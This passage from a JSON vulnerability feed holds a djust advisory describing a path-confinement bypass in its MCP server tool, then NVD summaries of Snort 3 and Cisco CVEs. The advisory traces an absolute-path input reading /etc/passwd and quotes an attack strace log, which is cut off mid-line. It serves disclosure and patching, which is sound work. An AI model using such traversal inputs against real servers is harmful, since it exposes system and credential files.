```\n if os.path.isabs(template_path) and os.path.isfile(template_path):\n resolved_path = template_path\n ```\n resolved_path == \"/etc/passwd\", unchanged, unconfined\n3. server.py ~line 430:\n ```\n with open(resolved_path, \"r\", encoding=\"utf-8\", errors=\"replace\") as f:\n source = f.read()\n ```\n /etc/passwd is now fully read into `source`\n4. The regex dj_event_attr_re.finditer(source) is applied to the real\n /etc/passwd content. /etc/passwd will not match this specific pattern, so\n the response would report an empty handler list plus \"file exists and was\n read\" - which already confirms the path-confinement bypass (compare with\n passing a nonexistent absolute path, which correctly returns\n \"Template file not found\").\n5. On a target where the absolute path points to a file that DOES contain\n text shaped like `dj-click=\"...\"` (e.g. a copied HTML fragment, a stray\n config value, or a crafted file placed by the attacker via another\n vector), the matched substrings are returned verbatim in the JSON\n response - full-content disclosure of just those substrings, not the\n whole file.\n\n### Suggested Fix\nApply the same confinement loaddata already uses, before the os.path.isfile check:\n```\nif os.path.isabs(template_path):\n candidate = os.path.realpath(template_path)\n if base_dir and not candidate.startswith(os.path.realpath(str(base_dir))):\n return json.dumps({\n \"error\": f\"template path '{template_path}' resolves outside the project directory\",\n \"resolved\": candidate,\n \"project_dir\": str(base_dir),\n })\n if os.path.isfile(candidate):\n resolved_path = candidate\n```\n### Limitations\nNot exercised against a live Django/djust project — this is a source-level trace of the exact executed branch (os.path.isabs + os.path.isfile + open()), not an end-to-end runtime capture.\nDid not verify whether any MCP-host-level confirmation/approval step (some MCP clients prompt the user before a tool call with a suspicious-looking path argument) would intercept this in practice - the vulnerability is in the server's own missing server-side guard regardless of client-side UX.\n\n### Disclosure Timeline\n2026-09-24: found during audit, confirmed via source trace to the open() sink; classified Medium due to the response-content limitation (matched substrings only, not raw file content).\nPlease check the log file, and apply CVE once the fix is made.\n\n```\nlog:\n10 14:53:20.185935 openat(AT_FDCWD, \"/case/project/templates/nonexistent_inside_project.html\", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)\n10 14:53:20.187205 write(1, \"{\\\"error\\\": \\\"Could not resolve tem\"..., 204) = 204\n ...\n10 14:53:20.191831 write(1, \"=== ATTACK: absolute path OUTSID\"..., 57) = 57\n10 14:53:20.194864 write(1, \"target path:\", 12) = 12\n10 14:53:20.198521 write(1, \"/case/outside/evil_content.html\", 31) = 31\n10 14:53:20.202290 newfstatat(AT_FDCWD, \"/cas\n\nAffected package ranges reported by GitHub:\ndjust: >= 0.9.0, <= 1.0.9\ndjust: >= 1.1.0, <= 1.1.6\ndjust: >= 1.2.0.dev0, <= 1.2.3\ndjust: >= 1.3.0.dev0, <= 1.3.0rc7","action":"GitHub lists first patched versions: djust: 1.0.10; djust: 1.1.7; djust: 1.2.4; djust: 1.3.0rc8. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T17:21:15.000Z","updatedAt":"2026-10-21T17:21:16.000Z","regions":["Global"],"vendor":null,"product":"djust, djust, djust, djust","stacks":["Python packages (PyPI)","djust","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-r57g-mc79-8hj2","asOf":"2026-10-21T17:21:16.000Z"},"epss":{"probability":0.00187,"percentile":0.08194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113731&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-r57g-mc79-8hj2","url":"https://github.com/advisories/GHSA-r57g-mc79-8hj2","type":"primary","publishedAt":"2026-10-21T17:21:15.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-r57g-mc79-8hj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-r57g-mc79-8hj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-r57g-mc79-8hj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-r57g-mc79-8hj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-r57g-mc79-8hj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-r57g-mc79-8hj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-r57g-mc79-8hj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-r57g-mc79-8hj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-r57g-mc79-8hj2, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113731&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113731, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76524","cveId":"CVE-2026-76524","aliases":[],"kind":"vulnerability","title":"A vulnerability in the control channel socket implementation of&nbsp;Open Source Snort 3 could allow an authenticated, local attacker with low privileges to execute arbitrary...","summary":"A vulnerability in the control channel socket implementation of&nbsp;Open Source Snort 3 could allow an authenticated, local attacker with low privileges to execute arbitrary commands as the Snort 3 process user.\r\n\r\nThis vulnerability is due to a lack of authentication when a local user connects to the Snort control channel socket. An attacker could exploit this vulnerability by connecting to the Snort 3 control channel socket as a local user. A successful exploit could allow the attacker to execute arbitrary commands as well as read and write Snort 3 process memory.","detail":"A vulnerability in the control channel socket implementation of&nbsp;Open Source Snort 3 could allow an authenticated, local attacker with low privileges to execute arbitrary commands as the Snort 3 process user.\r\n\r\nThis vulnerability is due to a lack of authentication when a local user connects to the Snort control channel socket. An attacker could exploit this vulnerability by connecting to the Snort 3 control channel socket as a local user. A successful exploit could allow the attacker to execute arbitrary commands as well as read and write Snort 3 process memory.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:09.610Z","updatedAt":"2026-10-22T14:17:49.670Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76524","asOf":"2026-10-22T14:17:49.670Z"},"epss":{"probability":0.00177,"percentile":0.07218,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76524&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76524","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76524","type":"primary","publishedAt":"2026-10-21T17:19:09.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76524&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76524, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76505","cveId":"CVE-2026-76505","aliases":[],"kind":"vulnerability","title":"A vulnerability in the IPv4 packet processing functionality of Cisco IOS XR Software that affects Cisco ASR 9000 and 9900 Series Aggregation Services Routers as well as Cisco ASR...","summary":"A vulnerability in the IPv4 packet processing functionality of Cisco IOS XR Software that affects Cisco ASR 9000 and 9900 Series Aggregation Services Routers as well as Cisco ASR 9902 and 9903 Compact High-Performance Routers could allow an unauthenticated, remote attacker to cause network processor (NP) errors, resulting in a line card reset or shutdown and a denial of service (DoS) condition.&nbsp;\r\n\r\nThis vulnerability is due to the incorrect handling of crafted IPv4 packets that are received on an affected line card interface and processed as for-us traffic. The issue can result in an NP reset, causing traffic loss on the affected line card while it recovers. Under repeated reset conditions, the network processor may enter a persistent shutdown state, in which case an explicit line card reload may be required to restore traffic.\r\nThe vulnerability is within the IPv4 packet-processing path. Transit IPv4 traffic does not trigger this issue and IPv6 traffic cannot trigger it.","detail":"A vulnerability in the IPv4 packet processing functionality of Cisco IOS XR Software that affects Cisco ASR 9000 and 9900 Series Aggregation Services Routers as well as Cisco ASR 9902 and 9903 Compact High-Performance Routers could allow an unauthenticated, remote attacker to cause network processor (NP) errors, resulting in a line card reset or shutdown and a denial of service (DoS) condition.&nbsp;\r\n\r\nThis vulnerability is due to the incorrect handling of crafted IPv4 packets that are received on an affected line card interface and processed as for-us traffic. The issue can result in an NP reset, causing traffic loss on the affected line card while it recovers. Under repeated reset conditions, the network processor may enter a persistent shutdown state, in which case an explicit line card reload may be required to restore traffic.\r\nThe vulnerability is within the IPv4 packet-processing path. Transit IPv4 traffic does not trigger this issue and IPv6 traffic cannot trigger it.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:09.450Z","updatedAt":"2026-10-22T14:17:49.530Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76505","asOf":"2026-10-22T14:17:49.530Z"},"epss":{"probability":0.00468,"percentile":0.40243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76505&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76505","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76505","type":"primary","publishedAt":"2026-10-21T17:19:09.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76505&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76505, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76496","cveId":"CVE-2026-76496","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76496 are related to issues concerning improper link resolutions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-59.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76496 are related to issues concerning improper link resolutions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-59.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:09.177Z","updatedAt":"2026-10-22T23:19:08.613Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76496","asOf":"2026-10-22T23:19:08.613Z"},"epss":{"probability":0.00159,"percentile":0.05048,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76496&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76496","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76496","type":"primary","publishedAt":"2026-10-21T17:19:09.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76496&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76496, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76495","cveId":"CVE-2026-76495","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76495 are related to issues concerning incorrect permission assignments that are grouped under the Common Weakness Enumeration (CWE) Variant CWE-732.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76495 are related to issues concerning incorrect permission assignments that are grouped under the Common Weakness Enumeration (CWE) Variant CWE-732.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:09.037Z","updatedAt":"2026-10-22T23:19:08.477Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76495","asOf":"2026-10-22T23:19:08.477Z"},"epss":{"probability":0.00142,"percentile":0.0352,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76495&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76495","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76495","type":"primary","publishedAt":"2026-10-21T17:19:09.037Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76495&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76495, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76494","cveId":"CVE-2026-76494","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76494 are related to issues concerning code injections that are grouped under the Common Weakness Enumeration (CWE) Base CWE-94.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76494 are related to issues concerning code injections that are grouped under the Common Weakness Enumeration (CWE) Base CWE-94.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:08.897Z","updatedAt":"2026-10-22T23:19:08.333Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76494","asOf":"2026-10-22T23:19:08.333Z"},"epss":{"probability":0.00205,"percentile":0.10408,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76494&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76494","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76494","type":"primary","publishedAt":"2026-10-21T17:19:08.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76494&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76494, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76493","cveId":"CVE-2026-76493","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76493 are related to issues concerning uncaught exceptions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-248.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76493 are related to issues concerning uncaught exceptions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-248.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:08.760Z","updatedAt":"2026-10-22T14:17:47.683Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76493","asOf":"2026-10-22T14:17:47.683Z"},"epss":{"probability":0.0036,"percentile":0.29445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76493&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76493","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76493","type":"primary","publishedAt":"2026-10-21T17:19:08.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76493&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76493, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76492","cveId":"CVE-2026-76492","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76492 are related to issues concerning null pointers that are grouped under the Common Weakness Enumeration (CWE) Base CWE-476.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76492 are related to issues concerning null pointers that are grouped under the Common Weakness Enumeration (CWE) Base CWE-476.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:08.620Z","updatedAt":"2026-10-22T14:17:47.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76492","asOf":"2026-10-22T14:17:47.527Z"},"epss":{"probability":0.0036,"percentile":0.29446,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76492&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76492","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76492","type":"primary","publishedAt":"2026-10-21T17:19:08.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76492&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76492, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76491","cveId":"CVE-2026-76491","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76491 are related to issues concerning reachable assertions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-617.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76491 are related to issues concerning reachable assertions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-617.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 